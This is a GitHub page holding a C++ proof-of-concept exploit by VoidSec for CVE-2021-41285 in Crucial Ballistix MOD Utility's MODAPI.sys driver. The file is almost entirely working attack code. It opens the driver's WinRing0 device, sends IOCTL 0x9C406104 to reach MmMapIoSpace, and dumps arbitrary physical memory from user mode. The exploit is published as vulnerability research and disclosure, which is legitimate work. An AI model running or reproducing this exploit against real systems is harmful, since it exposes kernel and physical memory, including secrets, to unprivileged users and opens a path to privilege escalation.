Permalink
Cannot retrieve contributors at this time
Name already in use
A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?
Exploit-Development/windows/x64/kernel/crucial_Ballistix_MOD_Utility_v.2.0.2.5/crucial_Ballistix_MOD_Utility_v.2.0.2.5_memory_dump_PoC.cpp
Go to fileThis commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
108 lines (99 sloc)
3.67 KB
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| /* | |
| Exploit title: Ballistix MOD Utility v.<= 2.0.2.5 (MODAPI.sys) - Mapping physical memory into virtual address space | |
| Exploit Authors: Paolo Stagno aka VoidSec - voidsec@voidsec.com - https://voidsec.com | |
| Grade: PoC | |
| CVE: CVE-2021-41285 | |
| Date: 15/09/2021 | |
| Version: v.2.0.2.5 | |
| Tested on: Windows 10 Pro x64 v.1903 Build 18362.30 | |
| Category: local exploit | |
| Platform: windows | |
| */ | |
| #include <iostream> | |
| #include <iomanip> | |
| #include <windows.h> | |
| using namespace std; | |
| int main() | |
| { | |
| DWORD PhysicalMemAddr = 0xE0000; // Physical memory address to read from, change accordingly (max 0x8FFFFFFF) | |
| DWORD dwDataSizeToRead = 0x4; // Size of data to read (in chunks), in bytes (1, 2, 4); 1 = movsb (BYTE), 2 = movsw (WORD), 4 = movsd (DWORD) | |
| DWORD dwAmountOfDataToRead = 8; // Amount of data (in chunks) to read | |
| DWORD dwBytesReturned = 0; // number of bytes returned from the DeviceIoControl request | |
| DWORD dwIOCTL = 0x9C406104; // IOCTL reaching MmMapIoSpace function call | |
| // open a handle to the device exposed by the driver - symlink is \\.\\WinRing0_1_2_0 | |
| HANDLE hDevice = ::CreateFileW( | |
| L"\\\\.\\WinRing0_1_2_0", | |
| GENERIC_READ | GENERIC_WRITE, | |
| NULL, | |
| nullptr, | |
| OPEN_EXISTING, | |
| NULL, | |
| NULL); | |
| if (hDevice == INVALID_HANDLE_VALUE) | |
| { | |
| cout << "[!] Couldn't open handle to MODAPI.sys driver. Error code: " << ::GetLastError() << endl; | |
| return -1; | |
| } | |
| cout << "[+] Opened a handle to MODAPI.sys driver!" << endl; | |
| cout << "[-] Allocating buffers' memory area!" << endl; | |
| // allocate memory for the DeviceIoControl lpInBuffer & lpOutBuffer buffers | |
| LPVOID lpInBuffer = VirtualAlloc((LPVOID)0x41000000, 0x100, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); | |
| LPVOID lpOutBuffer = VirtualAlloc((LPVOID)0x42000000, 0x100, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); | |
| if (lpInBuffer == NULL || lpOutBuffer == NULL) | |
| { | |
| cout << "[!] Unable to allocate buffers' memory area. Error code: " << ::GetLastError() << endl; | |
| return -1; | |
| } | |
| cout << "[-] Populating lpInBuffer" << endl; | |
| memmove(lpInBuffer, &PhysicalMemAddr, sizeof(DWORD)); | |
| memmove((BYTE*)lpInBuffer + 0x8, &dwDataSizeToRead, sizeof(DWORD)); | |
| memmove((BYTE*)lpInBuffer + 0xC, &dwAmountOfDataToRead, sizeof(DWORD)); | |
| cout << "[-] Sending IOCTL 0x" << hex << uppercase << setw(8) << setfill('0') << dwIOCTL << endl; | |
| bool success = DeviceIoControl( | |
| hDevice, | |
| dwIOCTL, | |
| lpInBuffer, // expressed in Bytes; MUST be 0x10 | |
| 0x10, | |
| lpOutBuffer, // MUST be GREATER than chunk size (dwDataSizeToRead * dwAmountOfDataToRead) | |
| 0x40, | |
| &dwBytesReturned, | |
| nullptr); | |
| if (!success) | |
| { | |
| cout << "[!] Couldn't send IOCTL 0x" << hex << uppercase << setw(8) << setfill('0') << dwIOCTL | |
| << " Error code: " << ::GetLastError() << endl; | |
| return -1; | |
| } | |
| cout << endl << "[+] Dumping " << dec << (dwDataSizeToRead * dwAmountOfDataToRead) | |
| << " bytes of data from 0x" << hex << uppercase << setw(16) << setfill('0') << PhysicalMemAddr << endl; | |
| cout << string(70, '-') << endl; | |
| // pretty print memory dump | |
| for (int nSize = 0; nSize <= (dwDataSizeToRead * dwAmountOfDataToRead); nSize += 0x10) | |
| { | |
| for (int i = 0; i <= 0xF; i++) | |
| { | |
| // output byte | |
| printf("%02X ", *((BYTE*)lpOutBuffer + i + nSize)); | |
| } | |
| cout << " "; | |
| for (int i = 0; i <= 0xF; i++) | |
| { | |
| CHAR cChar = *((BYTE*)lpOutBuffer + i + nSize); | |
| // if byte is in printable range, then print it's ASCII representation | |
| if (cChar >= 0x20 && cChar <= 0x7E) | |
| { | |
| printf("%c", *((BYTE*)lpOutBuffer + i + nSize)); | |
| } | |
| else | |
| { | |
| cout << "."; | |
| } | |
| } | |
| cout << endl; | |
| } | |
| cout << string(70, '-') << endl; | |
| // housekeeping | |
| VirtualFree((LPVOID)0x41000000, 0, MEM_RELEASE); | |
| VirtualFree((LPVOID)0x42000000, 0, MEM_RELEASE); | |
| ExitProcess(0); | |
| } |